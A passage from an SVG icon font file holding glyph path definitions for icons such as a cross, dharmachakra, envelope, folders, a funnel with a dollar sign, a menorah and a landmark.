c-4.55957 0 -8.9502 1.2998 -12.8193 3.71973c-3.24023 2.03027 -7.36035 1.91016 -10.1309 -0.729492l-11.75 -11.21c-3.5293 -3.37012 -3.3291 -9.20996 0.570312 -12.1406c9.10059 -6.83008 20.0801 -10.7695 31.3701 -11.3496v-16.29zM538.01 36.0098
c13.3604 -30.2598 35.4707 -54.1699 35.7803 -54.5c2.20996 -2.33008 2.82031 -5.72949 1.5498 -8.66992c-1.25 -2.92969 -4.13965 -4.83984 -7.33984 -4.83984c-36.5801 0 -66.9297 12.25 -88.7305 24.9805c-32.1992 -15.7402 -70.2891 -24.9805 -111.27 -24.9805
c-86.2305 0 -160.2 40.3701 -191.73 97.8799c10.4102 -1.11035 20.9502 -1.87988 31.7305 -1.87988c132.34 0 240 86.1299 240 192c0 6.78027 -0.469727 13.4697 -1.33008 20.0703c75.8398 -23.8701 129.33 -81.1299 129.33 -148.07
c0 -34.2695 -14.1299 -65.96 -37.9902 -91.9902z" />
    <glyph glyph-name="cross" unicode="&#xf654;" horiz-adv-x="384" 
d="M352 320c17.6699 0 32 -14.3301 32 -32v-64c0 -17.6699 -14.3301 -32 -32 -32h-96v-224c0 -17.6699 -14.3301 -32 -32 -32h-64c-17.6699 0 -32 14.3301 -32 32v224h-96c-17.6699 0 -32 14.3301 -32 32v64c0 17.6699 14.3301 32 32 32h96v96c0 17.6699 14.3301 32 32 32
h64c17.6699 0 32 -14.3301 32 -32v-96h96z" />
    <glyph glyph-name="dharmachakra" unicode="&#xf655;" 
d="M495 222.94c9.20996 0.569336 17 -6.74023 17.0098 -15.9707v-29.9395c0 -9.23047 -7.79004 -16.5498 -17 -15.9707l-17.2197 1.08008c-5.28027 -39.4795 -20.7998 -75.6299 -43.8604 -105.83l12.9502 -11.4297c6.91992 -6.09961 7.25977 -16.7803 0.730469 -23.3096
l-21.1699 -21.1699c-6.52051 -6.52051 -17.2002 -6.19043 -23.3105 0.729492l-11.4297 12.9502c-30.2002 -23.0703 -66.3506 -38.5898 -105.84 -43.8604l1.08008 -17.2197c0.569336 -9.20996 -6.74023 -17 -15.9707 -17h-29.9395c-9.23047 0 -16.5498 7.79004 -15.9707 17
l1.09082 17.2197c-39.4902 5.28027 -75.6406 20.7998 -105.841 43.8604l-11.4297 -12.9502c-6.09961 -6.91992 -16.7803 -7.25977 -23.3096 -0.729492l-21.1699 21.1699c-6.52051 6.51953 -6.19043 17.1992 0.729492 23.3096l12.9502 11.4297
c-23.0703 30.1904 -38.5898 66.3408 -43.8604 105.83l-17.2197 -1.08008c-9.20996 -0.569336 -17 6.74023 -17 15.9707v29.9395c0 9.23047 7.79004 16.5498 17 15.9707l17.2197 -1.08008c5.28027 39.4893 20.7998 75.6396 43.8604 105.84l-12.9502 11.4297
c-6.91992 6.10059 -7.25977 16.7803 -0.729492 23.3105l21.1699 21.1592c6.51953 6.52051 17.1992 6.19043 23.3096 -0.729492l11.4297 -12.9502c30.1904 23.0703 66.3408 38.5898 105.83 43.8604l-1.08008 17.2197c-0.569336 9.20996 6.74023 17 15.9707 17h29.9395
c9.23047 0 16.5498 -7.79004 15.9707 -17l-1.07031 -17.21c39.4795 -5.28027 75.6299 -20.7998 105.83 -43.8604l11.4297 12.9404c6.10059 6.91992 16.7803 7.25977 23.3105 0.729492l21.1592 -21.1592c6.52051 -6.52051 6.19043 -17.2002 -0.729492 -23.3105
l-12.9502 -11.4297c23.0703 -30.2002 38.5898 -66.3506 43.8604 -105.84zM281.84 349.39l-4.00977 -64.1201c10.2998 -2.40918 19.8896 -6.50977 28.6201 -11.9492l42.6201 48.29c-19.6006 14.1201 -42.4199 23.71 -67.2305 27.7793zM230.16 349.39
c-24.8105 -4.06934 -47.6299 -13.6592 -67.2305 -27.7793l42.6201 -48.29c8.73047 5.42969 18.3301 9.54004 28.6201 11.9492zM126.39 285.06c-14.1201 -19.5996 -23.71 -42.4092 -27.7793 -67.2197l64.1201 -4.00977c2.41992 10.29 6.51953 19.8896 11.96 28.6201z
M98.6104 166.16c4.06934 -24.8105 13.6592 -47.6299 27.7793 -67.2305l48.29 42.6201c-5.42969 8.73047 -9.54004 18.3301 -11.9492 28.6201zM230.16 34.6104l4 64.1201c-10.29 2.41992 -19.8906 6.51953 -28.6201 11.96l-42.6104 -48.3008
c19.6006 -14.1201 42.4199 -23.71 67.2305 -27.7793zM256 160c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM281.84 34.6104c24.8105 4.06934 47.6201 13.6592 67.2197 27.7793l-42.6094 48.3008
c-8.73047 -5.44043 -18.3301 -9.55078 -28.6201 -11.96zM385.61 98.9404c14.1201 19.5898 23.71 42.4092 27.7793 67.2295l-64.1201 4.00977c-2.40918 -10.2998 -6.50977 -19.8896 -11.9492 -28.6201zM349.27 213.83l64.1201 4
c-4.06934 24.8096 -13.6592 47.6299 -27.7793 67.2295l-48.3008 -42.6094c5.44043 -8.73047 9.55078 -18.3301 11.96 -28.6201z" />
    <glyph glyph-name="envelope-open-text" unicode="&#xf658;" 
d="M176 232c-8.83984 0 -16 7.16016 -16 16v16c0 8.83984 7.16016 16 16 16h160c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16h-160zM160 152v16c0 8.83984 7.16016 16 16 16h160c8.83984 0 16 -7.16016 16 -16v-16c0 -8.83984 -7.16016 -16 -16 -16
h-160c-8.83984 0 -16 7.16016 -16 16zM256 30.8701c16.4199 0 32.8398 5.07031 46.8604 15.1895l209.14 151.08v-213.14c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v213.14l209.14 -151.08c14.0205 -10.1299 30.4404 -15.1895 46.8604 -15.1895z
M493.61 285.05c11.6094 -9.09961 18.3896 -23.0303 18.3896 -37.7695v-10.6504l-96 -69.3496v184.72h-320v-184.72l-96 69.3496v10.6504c0.00195312 12.8945 8.24023 29.8154 18.3896 37.7695c8.85059 6.94043 17.2402 13.4805 29.6104 22.8105v44.1396
c0 26.5098 21.4902 48 48 48h77.5498c3.04004 2.2002 5.87012 4.25977 9.04004 6.55957c16.8203 12.2705 50.21 41.79 73.4102 41.4404c23.2002 0.349609 56.5996 -29.1699 73.4102 -41.4404c3.16992 -2.2998 6 -4.35938 9.04004 -6.55957h77.5498
c26.5098 0 48 -21.4902 48 -48v-44.1396c12.3701 -9.34082 20.7598 -15.8701 29.6104 -22.8105z" />
    <glyph glyph-name="folder-minus" unicode="&#xf65d;" 
d="M464 320c26.5098 0 48 -21.4902 48 -48v-224c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h160l64 -64h192zM368 152v16c0 8.83984 -7.16016 16 -16 16h-192c-8.83984 0 -16 -7.16016 -16 -16v-16
c0 -8.83984 7.16016 -16 16 -16h192c8.83984 0 16 7.16016 16 16z" />
    <glyph glyph-name="folder-plus" unicode="&#xf65e;" 
d="M464 320c26.5098 0 48 -21.4902 48 -48v-224c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h160l64 -64h192zM368 152v16c0 8.83984 -7.16016 16 -16 16h-72v72c0 8.83984 -7.16016 16 -16 16h-16
c-8.83984 0 -16 -7.16016 -16 -16v-72h-72c-8.83984 0 -16 -7.16016 -16 -16v-16c0 -8.83984 7.16016 -16 16 -16h72v-72c0 -8.83984 7.16016 -16 16 -16h16c8.83984 0 16 7.16016 16 16v72h72c8.83984 0 16 7.16016 16 16z" />
    <glyph glyph-name="funnel-dollar" unicode="&#xf662;" horiz-adv-x="640" 
d="M433.46 282.06c-83.4102 -20.8896 -145.46 -96.2695 -145.46 -186.06c0 -54.3496 22.7998 -103.38 59.21 -138.35c-10.75 -20.54 -38.3604 -29.21 -59.2197 -13.5703l-79.9902 60c-10.0703 7.55957 -16 19.4102 -16 32v155.92l-182.66 201.93
c-19.9502 19.9502 -5.82031 54.0703 22.4004 54.0703h480.52c28.2207 0 42.3506 -34.1201 22.4004 -54.0703zM480 256c88.3701 0 160 -71.6299 160 -160s-71.6299 -160 -160 -160s-160 71.6299 -160 160s71.6299 160 160 160zM496 16.1201
c23.6299 0.629883 42.6699 20.54 42.6699 45.0703c0 19.9697 -12.9902 37.8096 -31.5801 43.3896l-45 13.5c-5.16016 1.54004 -8.76953 6.78027 -8.76953 12.7295c0 7.27051 5.2998 13.1904 11.7998 13.1904h28.1104c4.55957 0 8.94922 -1.29004 12.8193 -3.71973
c3.24023 -2.03027 7.36035 -1.91016 10.1299 0.729492l11.75 11.21c3.53027 3.37012 3.33008 9.20996 -0.569336 12.1406c-9.10059 6.83984 -20.0801 10.7695 -31.3701 11.3496v16.29c0 4.41992 -3.58008 8 -8 8h-16c-4.41992 0 -8 -3.58008 -8 -8v-16.1201
c-23.6201 -0.629883 -42.6699 -20.5498 -42.6699 -45.0703c0 -19.9697 12.9893 -37.8096 31.5801 -43.3896l45 -13.5c5.15918 -1.54004 8.76953 -6.78027 8.76953 -12.7295c0 -7.27051 -5.2998 -13.1904 -11.7998 -13.1904h-28.1104
c-4.55957 0 -8.9502 1.2998 -12.8193 3.71973c-3.24023 2.03027 -7.36035 1.91016 -10.1309 -0.729492l-11.75 -11.21c-3.5293 -3.37012 -3.3291 -9.20996 0.570312 -12.1406c9.10059 -6.83008 20.0801 -10.7695 31.3701 -11.3496v-16.29c0 -4.41992 3.58008 -8 8 -8h16
c4.41992 0 8 3.58008 8 8v16.1201z" />
    <glyph glyph-name="gopuram" unicode="&#xf664;" 
d="M496 96c8.7998 0 16 -7.2002 16 -16v-128c0 -8.7998 -7.2002 -16 -16 -16h-80v160h-32v128h-32v96h-32v-96h32v-128h32v-160h-80v80c0 8.7998 -7.2002 16 -16 16h-64c-8.7998 0 -16 -7.2002 -16 -16v-80h-80v160h32v128h32v96h-32v-96h-32v-128h-32v-160h-80
c-8.7998 0 -16 7.2002 -16 16v128c0 8.7998 7.2002 16 16 16h16v112c0 8.7998 7.2002 16 16 16h16v80c0 8.7998 7.2002 16 16 16h16v112c0 8.7998 7.2002 16 16 16s16 -7.2002 16 -16v-16h64v16c0 8.7998 7.2002 16 16 16s16 -7.2002 16 -16v-16h64v16
c0 8.7998 7.2002 16 16 16s16 -7.2002 16 -16v-16h64v16c0 8.7998 7.2002 16 16 16s16 -7.2002 16 -16v-112h16c8.7998 0 16 -7.2002 16 -16v-80h16c8.7998 0 16 -7.2002 16 -16v-112h16zM232 272v-48h48v48c0 8.7998 -7.2002 16 -16 16h-16c-8.7998 0 -16 -7.2002 -16 -16z
M288 96v64c0 8.7998 -7.2002 16 -16 16h-32c-8.7998 0 -16 -7.2002 -16 -16v-64h64z" />
    <glyph glyph-name="hamsa" unicode="&#xf665;" 
d="M509.34 140.75c1.46875 -3.37012 2.66016 -9.08984 2.66016 -12.7656c0 -6.95703 -3.85254 -16.7295 -8.59961 -21.8145l-102.681 -110.03c-35.6895 -38.2197 -88.4102 -60.1396 -144.72 -60.1396s-109.03 21.9199 -144.71 60.1396l-102.69 110.03
c-4.74707 5.08496 -8.59961 14.8574 -8.59961 21.8145c0 3.67578 1.19141 9.39551 2.66016 12.7656c5.05957 11.6904 16.5898 19.25 29.3398 19.25h64v208c0 22 18 40 40 40s40 -18 40 -40v-134c0 -5.51953 4.48047 -10 10 -10h20c5.51953 0 10 4.48047 10 10v174
c0 22 18 40 40 40s40 -18 40 -40v-174c0 -5.51953 4.48047 -10 10 -10h20c5.51953 0 10 4.48047 10 10v134c0 22 18 40 40 40s40 -18 40 -40v-208h64c12.75 0 24.2803 -7.55957 29.3398 -19.25zM256 32c53.0195 0 96 64 96 64s-42.9805 64 -96 64s-96 -64 -96 -64
s42.9805 -64 96 -64zM256 128c17.6699 0 32 -14.3301 32 -32s-14.3301 -32 -32 -32s-32 14.3301 -32 32s14.3301 32 32 32z" />
    <glyph glyph-name="haykal" unicode="&#xf666;" 
d="M496.25 245.48c17.54 -2.46094 21.6797 -26.2705 6.04004 -34.6602l-98.1602 -52.6602l74.4805 -83.54c11.8594 -13.29 0.00976562 -34.25 -17.3506 -30.4902l-108.569 23.6504l4.10938 -112.55c0.430664 -11.6504 -8.87012 -19.2207 -18.4102 -19.2207
c-5.15918 0 -10.3896 2.20996 -14.1992 7.18066l-68.1807 88.8994l-68.1797 -88.8994c-3.81055 -4.9707 -9.0498 -7.18066 -14.2002 -7.18066c-9.54004 0 -18.8398 7.57031 -18.4102 19.2207l4.11035 112.55l-108.57 -23.6504
c-1.39941 -0.30957 -2.75977 -0.450195 -4.06934 -0.450195c-15.0107 0 -24.21 18.6807 -13.29 30.9307l74.4795 83.54l-98.1602 52.6592c-15.6494 8.40039 -11.5098 32.21 6.03027 34.6709l110 15.4297l-41.8203 104.34c-6.66016 16.6396 11.6006 32.1797 26.5898 22.6299
l94.04 -59.8896l34.0908 107.189c2.70996 8.55078 10.0293 12.8203 17.3496 12.8203s14.6396 -4.26953 17.3496 -12.8203l34.0908 -107.18l94.04 59.8896c14.9893 9.55078 33.2598 -5.98926 26.5898 -22.6299l-41.8203 -104.34zM338.51 136.32l-35.6094 39.9297
l46.9199 25.1699l-52.5703 7.37988l19.9902 49.8701l-44.9502 -28.6201l-16.29 51.2305l-16.3096 -51.2305l-44.9502 28.6201l19.9902 -49.8701l-52.5703 -7.37988l46.9199 -25.1699l-35.5996 -39.9297l51.8896 11.2998l-1.95996 -53.79l32.5898 42.4902l32.5898 -42.4902
l-1.96973 53.79z" />
    <glyph glyph-name="jedi" unicode="&#xf669;" horiz-adv-x="544" 
d="M479.99 96h39.96c-42.6299 -94.1699 -137.641 -160 -247.98 -160c-4.25977 0 -8.5498 0.0898438 -12.8496 0.290039c-103.97 4.76953 -193.851 69.4795 -235.101 159.71h39.9102l-58.5996 58.5996c-2.57031 12.8809 -4.49023 25.9805 -5.11035 39.4102
c-0.469727 10.0801 -0.129883 20.0703 0.5 29.9902h47.21l-41.3799 41.3799c14.3701 64.7002 52.1006 122.55 107.97 162.07c2.77051 1.95996 5.9707 3 9.27051 3c5.37988 0 10.4297 -2.70996 13.5098 -7.25c3.0498 -4.5 3.64062 -10 1.62012 -15.0898
c-6.53027 -16.4502 -9.83984 -33.7002 -9.83984 -51.2607c0 -45.1191 21.04 -86.5801 57.71 -113.739c4.00977 -2.9707 6.4502 -7.48047 6.69043 -12.3799c0.239258 -4.90039 -1.76074 -9.65039 -5.48047 -13.0107c-26.5498 -23.9795 -41.1699 -56.5 -41.1699 -91.5801
c0 -60.0293 42.9502 -110.279 99.8896 -121.92l2.5 65.2607l-27.1602 -18.4805c-2.96973 -2 -7.40918 -1.7002 -10 0.75c-2.72949 2.61035 -3.30957 6.70996 -1.38965 9.94043l20.1299 33.7695l-42.0693 8.71973c-3.71094 0.75 -6.38086 4.05078 -6.38086 7.83008
c0 3.78027 2.68066 7.08008 6.38086 7.83008l42.0693 8.73047l-20.1094 33.7295c-1.94043 3.27051 -1.36035 7.35059 1.35938 9.94043c2.73047 2.60938 6.86035 2.89941 10 0.779297l30.3906 -20.6592l11.5195 287.97c0.160156 4.29004 3.66992 7.66992 8 7.66992h0.0400391
c4.25293 0 7.81934 -3.44922 7.95996 -7.7002l11.5303 -287.93l30.3896 20.6699c3.03027 2.08984 7.2998 1.75 10 -0.799805c2.71973 -2.60059 3.2998 -6.68066 1.37988 -9.91016l-20.1299 -33.7705l42.0703 -8.72949c3.68945 -0.770508 6.37988 -4.06055 6.37988 -7.83008
c0 -3.78027 -2.67969 -7.08008 -6.37988 -7.83008l-42.0703 -8.71973l20.1104 -33.7305c0.631836 -1.05078 1.14453 -2.89844 1.14453 -4.12402c0 -1.89355 -1.11328 -4.49023 -2.48438 -5.7959c-2.63086 -2.49023 -7.04004 -2.85938 -10.0205 -0.799805l-27.1699 18.4697
l2.5 -65.3398c48.4697 9.40039 87.5703 48.1504 97.3096 96.5c8.78027 43.5605 -5.63965 87.3203 -38.5693 117.07c-3.73047 3.37012 -5.73047 8.10938 -5.49023 13.0303c0.240234 4.89941 2.67969 9.41992 6.7002 12.3994c36.6602 27.1602 57.6895 68.6104 57.6895 113.73
c0 17.5801 -3.30957 34.8496 -9.85938 51.3096c-2.03027 5.09961 -1.44043 10.5996 1.60938 15.0898c3.08008 4.53027 8.12012 7.24023 13.4902 7.24023c3.28027 0 6.48047 -1.03027 9.25 -2.99023c55.4805 -39.2197 93.4102 -97.4795 107.91 -162.27l-41.25 -41.2402
h46.9502c0.370117 -5.75977 1.0498 -11.46 1.0498 -17.2695c0 -17.7402 -1.83984 -35.0605 -5.12988 -51.8604z" />
    <glyph glyph-name="journal-whills" unicode="&#xf66a;" horiz-adv-x="448" 
d="M448 89.5996c0 -9.59961 -3.2002 -16 -9.59961 -19.1992c-3.2002 -12.8008 -3.2002 -57.6006 0 -73.6006c6.39941 -6.39941 9.59961 -12.7998 9.59961 -19.2002v-16c0 -16 -12.7998 -25.5996 -25.5996 -25.5996h-326.4c-54.4004 0 -96 41.5996 -96 96v320
c0 54.4004 41.5996 96 96 96h326.4c16 0 25.5996 -9.59961 25.5996 -25.5996v-332.801zM133.08 303.61c-2.98047 -10.0908 -5.08008 -20.5605 -5.07031 -31.6201c0 -0.520508 0.140625 -0.990234 0.150391 -1.50977l37.1094 -32.4707
c3.33008 -2.89941 3.6709 -7.9502 0.75 -11.2793c-1.5791 -1.81055 -3.7998 -2.73047 -6.01953 -2.73047h-0.0175781c-1.65527 0 -4.00879 0.886719 -5.25195 1.98047l-23.5908 20.6396c11.54 -49.5801 55.7705 -86.6201 108.86 -86.6201s97.3203 37.04 108.87 86.6299
l-23.5898 -20.6396c-1.52051 -1.32031 -3.39062 -1.98047 -5.27051 -1.98047h-0.0146484c-2 0 -4.69043 1.22363 -6.00488 2.73047c-1.09668 1.24707 -1.98633 3.60645 -1.98633 5.2666c0 2.00293 1.22559 4.69727 2.73633 6.0127l37.1094 32.4707
c0.0107422 0.519531 0.150391 0.990234 0.150391 1.50977c0 11.0498 -2.09961 21.5195 -5.07031 31.5996l-21.2598 -21.2598c-1.57031 -1.55957 -3.61035 -2.33984 -5.66016 -2.33984s-4.09961 0.780273 -5.66016 2.33984c-3.11914 3.12012 -3.11914 8.19043 0 11.3105
l26.4199 26.4199c-10 20.8994 -26.2393 37.9795 -46.3691 49.2598c5.97949 -9.73047 9.59961 -21.0703 9.59961 -33.3301c0 -19.96 -9.33008 -37.5703 -23.6602 -49.3096c9.65039 -10.0605 15.6602 -23.6504 15.6602 -38.6904c0 -26.9404 -19.04 -49.4004 -44.3701 -54.7402
l-1.42969 34.2803l12.6797 -8.62012c0.69043 -0.459961 1.46973 -0.689453 2.25 -0.689453c0.980469 0 1.98047 0.369141 2.75 1.08984c1.36035 1.2793 1.63965 3.33984 0.69043 4.94922l-8.54004 14.3105l17.9102 3.71973
c1.85938 0.390625 3.18945 2.03027 3.18945 3.91992c0 1.89062 -1.33008 3.53027 -3.18945 3.91992l-17.9102 3.7207l8.54004 14.3096c0.308594 0.521484 0.55957 1.43652 0.55957 2.04297c0 0.950195 -0.55957 2.25293 -1.25 2.90723
c-0.645508 0.59668 -1.88281 1.08105 -2.76172 1.08105c-0.672852 0 -1.67578 -0.300781 -2.23828 -0.670898l-14.2002 -9.65039l-4.67969 112.29c-0.0898438 2.13965 -1.86035 3.83008 -4 3.83008s-3.91016 -1.69043 -4 -3.83008l-4.62012 -110.81l-12.0098 8.15918
c-1.56055 1.03027 -3.63965 0.890625 -5 -0.40918c-1.36035 -1.28027 -1.63965 -3.34082 -0.69043 -4.9502l8.54004 -14.3105l-17.9102 -3.71973c-1.85938 -0.389648 -3.18945 -2.03027 -3.18945 -3.91992s1.33008 -3.53027 3.18945 -3.91992l17.9102 -3.71973
l-8.54004 -14.3105c-0.308594 -0.521484 -0.55957 -1.43652 -0.55957 -2.04297c0 -0.950195 0.55957 -2.25293 1.25 -2.90723c0.769531 -0.709961 1.75 -1.08984 2.75 -1.08984c0.780273 0 1.55957 0.240234 2.25 0.69043l10.3701 7.04004l-1.36035 -32.71
c-25.3398 5.35938 -44.3799 27.8193 -44.3799 54.7598c0 15.04 6.00977 28.6299 15.6602 38.6904c-14.3301 11.7393 -23.6602 29.3496 -23.6602 49.3096c0 12.2598 3.62012 23.5996 9.61035 33.3398c-20.1299 -11.29 -36.3701 -28.3594 -46.3701 -49.2598l26.4199 -26.4199
c3.12012 -3.12012 3.12012 -8.19043 0 -11.3105c-1.57031 -1.55957 -3.61035 -2.33984 -5.66016 -2.33984s-4.09961 0.780273 -5.66016 2.33984zM380.8 0v64h-284.8c-16 0 -32 -12.7998 -32 -32s12.7998 -32 32 -32h284.8z" />
    <glyph glyph-name="kaaba" unicode="&#xf66b;" horiz-adv-x="576" 
d="M554.12 364.49c13.0703 -4.36035 21.8799 -16.5898 21.8799 -30.3604v-49.0098l-265 79.5098c-15.0596 4.5 -30.9502 4.5 -45.9805 0l-265.02 -79.5098v49.0098c0.000976562 12.7314 9.80273 26.332 21.8799 30.3604l235.771 78.5801
c8.15723 2.71973 21.7559 4.92676 30.3545 4.92676s22.1982 -2.20703 30.3555 -4.92676zM274.22 333.97c9 2.7207 18.5498 2.7207 27.5898 0l274.2 -82.2598v-228.39c0 -15 -10.4199 -27.9902 -25.0596 -31.2402l-242.12 -53.7998
c-5.67871 -1.2627 -15.0078 -2.28809 -20.8252 -2.28809s-15.1465 1.02539 -20.8252 2.28809l-242.12 53.7998c-14.6396 3.25977 -25.0596 16.2402 -25.0596 31.2402v228.38zM128 217.89v16.5801c0 5.28027 -5.01953 9.11035 -10.1104 7.7207l-80 -21.8203
c-3.47949 -0.950195 -5.88965 -4.11035 -5.88965 -7.71973v-16.5801c0 -5.27051 5.01953 -9.10059 10.1104 -7.7207l80 21.8203c3.47949 0.950195 5.88965 4.11035 5.88965 7.71973zM272 257.17v16.5801c0 5.28027 -5.01953 9.11035 -10.1104 7.71973l-96 -26.1797
c-3.47949 -0.950195 -5.88965 -4.11035 -5.88965 -7.71973v-16.5801c0 -5.28027 5.01953 -9.11035 10.1104 -7.7207l96 26.1807c3.47949 0.950195 5.88965 4.10938 5.88965 7.71973zM448 234.47v-16.5801v-0.00488281c0 -3.37109 2.63867 -6.82715 5.88965 -7.71484
l80 -21.8203c5.09082 -1.38965 10.1104 2.44043 10.1104 7.7207v16.5801c0 3.60938 -2.41016 6.76953 -5.88965 7.71973l-80 21.8203c-5.09082 1.38965 -10.1104 -2.44043 -10.1104 -7.7207zM304 273.74v-16.5801v-0.00585938c0 -3.37012 2.63867 -6.82617 5.88965 -7.71387
l96 -26.1807c5.09082 -1.38965 10.1104 2.44043 10.1104 7.7207v16.5791c0 3.61035 -2.41016 6.77051 -5.88965 7.7207l-96 26.1797c-5.09082 1.38965 -10.1104 -2.44043 -10.1104 -7.71973z" />
    <glyph glyph-name="khanda" unicode="&#xf66d;" 
d="M415.81 382c73.71 -40.2402 111.78 -123.85 90.1602 -207.51c-7.25 -28.0898 -22.3799 -53.5703 -41.25 -75.5898l-52.5098 -61.3105c-4.87012 -5.67969 -13.04 -7.22949 -19.6504 -3.70996l-79.3496 42.2305l-29.21 -20.3408l47.0801 -32.7793
c1.66992 0.370117 3.22949 1.00977 5.00977 1.00977c13.25 0 23.9902 -10.7402 23.9902 -24c0 -13.25 -10.7402 -24 -23.9902 -24c-12.0898 0 -21.6797 9.11035 -23.3301 20.7598l-40.9102 28.4805v-30.1504c9.38086 -5.58008 15.9902 -15.3896 15.9902 -27.0996
c0 -17.6699 -14.3203 -32 -31.9795 -32c-17.6602 0 -31.9805 14.3301 -31.9805 32c0 11.7197 6.60059 21.5293 15.9902 27.0996v29.9502l-40.6299 -28.2803c-1.64062 -11.6494 -11.2305 -20.7598 -23.3301 -20.7598c-13.25 0 -23.9902 10.75 -23.9902 24
c0 13.2598 10.7402 24 23.9902 24c1.78027 0 3.33984 -0.639648 5.00977 -1.00977l47.0801 32.7793l-29.21 20.3301l-79.3496 -42.2295c-6.61035 -3.52051 -14.7803 -1.96973 -19.6504 3.71973l-55.9697 65.3604c-12.5703 14.6797 -23.3906 31.0693 -30.46 49.0596
c-35.6602 90.6904 2.95996 186.391 81.4893 229.24c6.34082 3.5 15.0205 2.63965 20.0205 -2.7002c4.99023 -5.30957 6.45996 -12.9199 2.58984 -19.0801c-16.4902 -26.1602 -25.2002 -56.3896 -25.2002 -87.4697c0.180664 -53.1904 26.7598 -102.62 71.0303 -132.18
l76.5898 -53.3301v19.8994l-44.0498 36.0908c-3.91016 4.20996 -5 10.0996 -2.81055 15.2793l7.85059 17.2402c-33.8506 19.2598 -56.9404 55.2402 -56.9404 96.9902c0 40.79 22.0205 76.1396 54.5898 95.7197l-5.21973 11.4404
c-2.33008 5.5293 -0.929688 11.8301 3.57031 16.04l58.9902 52.8096l58.9893 -52.8203c4.5 -4.20996 5.91016 -10.5098 3.57031 -16.04l-5.21973 -11.4395c32.5693 -19.5801 54.5898 -54.9199 54.5898 -95.71c0 -41.7402 -23.0996 -77.7305 -56.9404 -96.9902
l7.85059 -17.2402c2.18945 -5.18945 1.10938 -11.0801 -2.81055 -15.2793l-44.0498 -36.0908v-20.0996l76.6299 53.3496c44.5 29.7207 71.0801 79.1602 71.2705 132.41c0 31.0205 -8.70996 61.25 -25.2002 87.4102c-1.36328 2.15723 -2.46973 5.97949 -2.46973 8.53223
c0 3.51465 1.96191 8.43652 4.37988 10.9883c4.99023 5.34961 12.9902 6.51953 19.3594 3.01953zM319.82 272c0 21.3203 -10.5801 40.1201 -26.6504 51.7695l-7.83008 -17.1797c-8.75 -24.5195 -8.75 -51.04 0 -75.5596l5.65039 -12.4102
c17.3398 11.46 28.8301 31.0801 28.8301 53.3799zM191.89 272c0 -22.2998 11.5 -41.9297 28.8408 -53.3896l5.64941 12.4092c8.75 24.5303 8.75 51.04 0 75.5605l-7.83008 17.1797c-16.0801 -11.6396 -26.6602 -30.4395 -26.6602 -51.7598z" />
    <glyph glyph-name="landmark" unicode="&#xf66f;" 
d="M501.62 355.89c6.24023 -2.33984 10.3799 -8.30957 10.3799 -14.9795v-36.9102c0 -8.83984 -7.16016 -16 -16 -16h-480c-8.83984 0 -16 7.16016 -16 16v36.9102c0 6.11914 4.65039 12.8301 10.3799 14.9795l234.39 90.0703
c2.99902 1.12598 8.03223 2.04004 11.2354 2.04004s8.23633 -0.914062 11.2354 -2.04004zM64 256h64v-160h96v160h64v-160h96v160h64v-160h16c8.83984 0 16 -7.16016 16 -16v-48h-448v48c0 8.83984 7.16016 16 16 16h16v160zM496 0c8.83984 0 16 -7.16016 16 -16v-32
c0 -8.83984 -7.16016 -16 -16 -16h-480c-8.83984 0 -16 7.16016 -16 16v32c0 8.83984 7.16016 16 16 16h480z" />
    <glyph glyph-name="mail-bulk" unicode="&#xf674;" horiz-adv-x="576" 
d="M160 0c25.5996 0 51.2002 22.4004 64 32c64 44.7998 83.2002 60.7998 96 70.4004v-134.4c0 -17.6699 -14.3301 -32 -32 -32h-256c-17.6699 0 -32 14.3301 -32 32v134.4c12.7998 -9.60059 32 -25.6006 96 -70.4004c12.7998 -9.59961 38.4004 -32 64 -32zM288 192
c17.6699 0 32 -14.3301 32 -32v-19.2002c-25.5996 -19.2002 -22.4004 -19.2002 -115.2 -86.3994c-9.59961 -3.2002 -28.7998 -22.4004 -44.7998 -22.4004s-35.2002 19.2002 -44.7998 25.5996c-92.7998 67.2002 -89.6006 67.2002 -115.2 86.4004v16
c0 17.6699 14.3301 32 32 32h256zM544 288c17.6699 0 32 -14.3301 32 -32v-192c0 -17.6699 -14.3301 -32 -32 -32h-192v134.4l-0.290039 -0.220703c-3.12012 32.4004 -30.5 57.8203 -63.71 57.8203h-96v32c0 17.6699 14.3301 32 32 32h320zM512 160v64h-64v-64h64zM160 256
v-32h-96v192c0 17.6699 14.3301 32 32 32h320c17.6699 0 32 -14.3301 32 -32v-96h-224c-35.29 0 -64 -28.71 -64 -64z" />
    <glyph glyph-name="menorah" unicode="&#xf676;" horiz-adv-x="640" 
d="M144 320c8.83984 0 16 -7.16016 16 -16v-144h-64v144c0 8.83984 7.16016 16 16 16h32zM240 320c8.83984 0 16 -7.16016 16 -16v-144h-64v144c0 8.83984 7.16016 16 16 16h32zM432 320c8.83984 0 16 -7.16016 16 -16v-144h-64v144c0 8.83984 7.16016 16 16 16h32zM528 320
c8.83984 0 16 -7.16016 16 -16v-144h-64v144c0 8.83984 7.16016 16 16 16h32zM608 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64s-14.3301 -32 -32 -32zM512 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64s-14.3301 -32 -32 -32
zM416 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64s-14.3301 -32 -32 -32zM320 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64s-14.3301 -32 -32 -32zM224 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64
s-14.3301 -32 -32 -32zM128 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64s-14.3301 -32 -32 -32zM32 352c-17.6699 0 -32 14.3301 -32 32s32 64 32 64s32 -46.3301 32 -64s-14.3301 -32 -32 -32zM576 160v144c0 8.83984 7.16016 16 16 16h32
